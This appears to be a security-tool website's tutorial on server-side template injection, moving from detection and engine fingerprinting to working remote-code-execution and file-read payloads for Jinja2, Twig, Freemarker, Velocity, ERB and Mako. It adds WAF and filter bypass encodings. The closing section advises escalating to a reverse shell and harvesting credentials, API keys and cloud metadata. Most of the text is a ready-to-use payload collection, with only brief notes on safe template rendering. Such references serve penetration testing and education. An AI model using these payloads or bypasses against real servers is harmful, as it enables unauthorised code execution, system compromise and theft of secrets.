SSTI Exploitation: From Template Injection to Remote Code Execution (2025)
Server-Side Template Injection (SSTI) is one of the most underrated vulnerabilities in web security. When user input is embedded directly into a server-side template without sanitization, attackers can inject template directives that execute arbitrary code on the server. In most cases, SSTI leads directly to Remote Code Execution (RCE).
How SSTI Works
Template engines (Jinja2, Twig, Freemarker, etc.) process templates that mix static content with dynamic expressions. When user input is concatenated into a template string instead of being passed as data, the engine evaluates the attacker's input as template code:
# Vulnerable (input treated as template code)
render_template_string("Hello " + user_input)
# Safe (input treated as data)
render_template_string("Hello {{name}}", name=user_input)
Step 1: Detection
Inject mathematical expressions to detect template evaluation:
# Universal detection payloads
{{7*7}} -> 49 (Jinja2, Twig, most engines)
${7*7} -> 49 (Freemarker, Velocity, Mako)
#{7*7} -> 49 (Thymeleaf, EL)
<%= 7*7 %> -> 49 (ERB, EJS)
{{7*'7'}} -> 7777777 (Jinja2) vs 49 (Twig) — engine fingerprint!
The last payload is particularly useful: Jinja2 treats 7*'7' as string repetition (Python behavior) while Twig performs integer multiplication.
Step 2: Identify the Template Engine
Use a decision tree approach with specific payloads:
# Step 1: Try {{7*'7'}}
-> Returns "7777777" -> Jinja2 (Python)
-> Returns "49" -> Twig (PHP)
-> Error -> Try ${7*7}
# Step 2: If ${7*7} works
-> Try ${class.getClass()} -> Freemarker (Java)
-> Try $class.inspect() -> Velocity (Java)
# Step 3: If <%= 7*7 %> works
-> Ruby context -> ERB
-> JavaScript context -> EJS
Jinja2 (Python) Exploitation
Jinja2 is the most commonly exploited template engine, used in Flask and Django. The goal is to navigate Python's object hierarchy to reach os.popen() or subprocess.Popen():
Reading Files
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('/etc/passwd').read() }}
# Find the file class index:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'FileLoader' in c.__name__ %}{{loop.index0}}{% endif %}
{% endfor %}
Remote Code Execution
# Method 1: via os.popen
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('id',shell=True,stdout=-1).communicate() }}
# Method 2: via config object (Flask-specific)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
# Method 3: via lipsum (Flask-specific, bypass filters)
{{ lipsum.__globals__['os'].popen('id').read() }}
# Method 4: via cycler (another Flask bypass)
{{ cycler.__init__.__globals__.os.popen('id').read() }}
Twig (PHP) Exploitation
Twig is used in Symfony and many PHP frameworks:
# Twig 1.x RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Twig 2.x/3.x RCE (via filter)
{{['id']|filter('system')}}
# File read
{{'/etc/passwd'|file_excerpt(1,-1)}}
Freemarker (Java) Exploitation
Freemarker is common in Java web applications:
# RCE via Execute
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
# RCE via ObjectConstructor
<#assign classloader=object?api.class.protectionDomain.classLoader>
${classloader.loadClass("java.lang.Runtime").getMethod("exec","java.lang.String").invoke(classloader.loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
# File read
${object.getClass().getResource("/").getPath()}
Other Template Engines
Velocity (Java)
#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($chr=$x.class.forName('java.lang.Character'))##
#set($str=$x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
ERB (Ruby)
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').readlines() %>
Mako (Python)
${__import__("os").popen("id").read()}
Filter Bypass Techniques
When WAFs or application-level filters block your SSTI payloads, try these bypasses:
# Bypass dot notation filters (Jinja2)
{{ ''['__class__']['__mro__'][1] }}
{{ ''|attr('__class__')|attr('__mro__') }}
# Bypass underscore filters
{{ ''['\x5f\x5fclass\x5f\x5f'] }}
{% set x = '\x5f\x5fclass\x5f\x5f' %}{{ ''[x] }}
# Bypass bracket filters
{{ ''|attr('__class__') }}
# String concatenation to build blocked keywords
{% set a='__cla' %}{% set b='ss__' %}{{ ''[a~b] }}
Our WAF Bypass Generator can encode SSTI payloads to evade common WAF rules. Combine with the Encoder/Decoder for manual encoding.
SSTI in the Real World
Common injection points to test:
- Email templates (password reset, notifications)
- PDF generation from user-supplied templates
- Custom error pages with user input in the message
- CMS template editors and theme customization
- Marketing automation platforms with template variables
- Report generators with user-defined formatting
From SSTI to Full Compromise
Once you achieve RCE via SSTI, escalate with:
- Use our Reverse Shell Generator to establish an interactive session
- Read sensitive files: database credentials, API keys, cloud metadata
- Pivot to internal services via SSRF techniques
- Check for Command Injection in other endpoints for persistence
Generate SSTI payloads for all major template engines with our SSTI Generator, and reference the SSTI Cheat Sheet for a complete payload reference.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides